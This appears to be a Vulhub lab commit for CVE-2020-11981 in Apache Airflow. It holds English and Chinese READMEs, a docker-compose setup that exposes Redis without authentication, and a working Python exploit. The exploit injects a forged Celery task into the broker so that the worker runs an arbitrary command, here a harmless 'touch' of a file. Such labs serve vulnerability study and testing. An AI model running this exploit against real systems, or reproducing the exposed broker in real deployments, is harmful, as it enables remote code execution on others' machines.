first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

View File

@@ -0,0 +1,53 @@
# Apache Airflow Celery Broker Remote Command Execution (CVE-2020-11981)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Airflow is an open source, distributed task scheduling framework. In the version prior to 1.10.10, if the Redis broker (such as Redis or RabbitMQ) has been controlled by attacker, the attacker can execute arbitrary commands in the worker process.
Since there are many components to be started, it may be a bit stuck. Please prepare more than 2G of memory for the use of the virtual machine.
References:
- <https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx>
- <https://github.com/apache/airflow/pull/9178>
## Vulnerability Environment
Execute the following commands to start an airflow 1.10.10 server:
```bash
#Initialize the database
docker compose run airflow-init
#Start service
docker compose up -d
```
## Exploit
For exploit this vulnerability, you have to get the write permission of the Celery broker, Redis. In Vulhub environment, Redis port 6379 is exposing on the Internet.
Through the Redis, you can add the evil task `airflow.executors.celery_executor.execute_command` to the queue to execute arbitrary commands.
Use this script [exploit_airflow_celery.py](exploit_airflow_celery.py) to execute the command `touch /tmp/airflow_celery_success`
```
pip install redis
python exploit_airflow_celery.py [your-ip]
```
See the results on the logs:
```bash
docker compose logs airflow-worker
```
![](1.png)
As you can see, `touch /tmp/airflow_celery_success` has been successfully executed:
```
docker compose exec airflow-worker ls -l /tmp
```
![](2.png)

View File

@@ -0,0 +1,51 @@
# Apache Airflow Celery 消息中间件命令执行CVE-2020-11981
Apache Airflow是一款开源的分布式任务调度框架。在其1.10.10版本及以前如果攻击者控制了Celery的消息中间件如Redis/RabbitMQ将可以通过控制消息在Worker进程中执行任意命令。
由于启动的组件比较多可能会有点卡运行此环境可能需要准备2G以上的内存。
参考链接:
- <https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx>
- <https://github.com/apache/airflow/pull/9178>
## 漏洞环境
依次执行如下命令启动airflow 1.10.10
```bash
#初始化数据库
docker compose run airflow-init
#启动服务
docker compose up -d
```
## 漏洞利用
利用这个漏洞需要控制消息中间件Vulhub环境中Redis存在未授权访问。通过未授权访问攻击者可以下发自带的任务`airflow.executors.celery_executor.execute_command`来执行任意命令,参数为命令执行中所需要的数组。
我们可以使用[exploit_airflow_celery.py](exploit_airflow_celery.py)这个小脚本来执行命令`touch /tmp/airflow_celery_success`
```bash
pip install redis
python exploit_airflow_celery.py [your-ip]
```
查看结果:
```bash
docker compose logs airflow-worker
```
可以看到如下任务消息:
![](1.png)
```bash
docker compose exec airflow-worker ls -l /tmp
```
可以看到成功创建了文件`airflow_celery_success`
![](2.png)

View File

@@ -0,0 +1,92 @@
version: '3'
x-airflow-common:
&airflow-common
image: vulhub/airflow:1.10.10
environment:
&airflow-common-env
AIRFLOW__CORE__EXECUTOR: CeleryExecutor
AIRFLOW__CORE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:airflow@postgres/airflow
AIRFLOW__CELERY__RESULT_BACKEND: db+postgresql://airflow:airflow@postgres/airflow
AIRFLOW__CELERY__BROKER_URL: redis://:@redis:6379/0
AIRFLOW__CORE__FERNET_KEY: ''
AIRFLOW__CORE__DAGS_ARE_PAUSED_AT_CREATION: 'true'
AIRFLOW__CORE__LOAD_EXAMPLES: 'true'
#AIRFLOW__API__AUTH_BACKEND: 'airflow.api.auth.backend.basic_auth'
AIRFLOW__API__AUTH_BACKEND: 'airflow.api.auth.backend.default'
user: "${AIRFLOW_UID:-50000}:${AIRFLOW_GID:-50000}"
depends_on:
redis:
condition: service_healthy
postgres:
condition: service_healthy
services:
postgres:
image: postgres:13-alpine
environment:
POSTGRES_USER: airflow
POSTGRES_PASSWORD: airflow
POSTGRES_DB: airflow
healthcheck:
test: ["CMD", "pg_isready", "-U", "airflow"]
interval: 5s
retries: 5
redis:
image: redis:5-alpine
ports:
- 6379:6379
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 5s
timeout: 30s
retries: 50
airflow-webserver:
<<: *airflow-common
command: webserver
ports:
- 8080:8080
healthcheck:
test: ["CMD", "curl", "--fail", "http://localhost:8080/health"]
interval: 10s
timeout: 10s
retries: 5
airflow-scheduler:
<<: *airflow-common
command: scheduler
healthcheck:
test: ["CMD-SHELL", 'airflow jobs check --job-type SchedulerJob --hostname "$${HOSTNAME}"']
interval: 10s
timeout: 10s
retries: 5
airflow-worker:
<<: *airflow-common
command: worker
healthcheck:
test:
- "CMD-SHELL"
- 'celery --app airflow.executors.celery_executor.app inspect ping -d "celery@$${HOSTNAME}"'
interval: 10s
timeout: 10s
retries: 5
airflow-init:
<<: *airflow-common
command: initdb
environment:
<<: *airflow-common-env
_AIRFLOW_DB_UPGRADE: 'true'
flower:
<<: *airflow-common
command: flower
ports:
- 5555:5555
healthcheck:
test: ["CMD", "curl", "--fail", "http://localhost:5555/"]
interval: 10s
timeout: 10s
retries: 5

View File

@@ -0,0 +1,14 @@
import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0)
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_celery_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))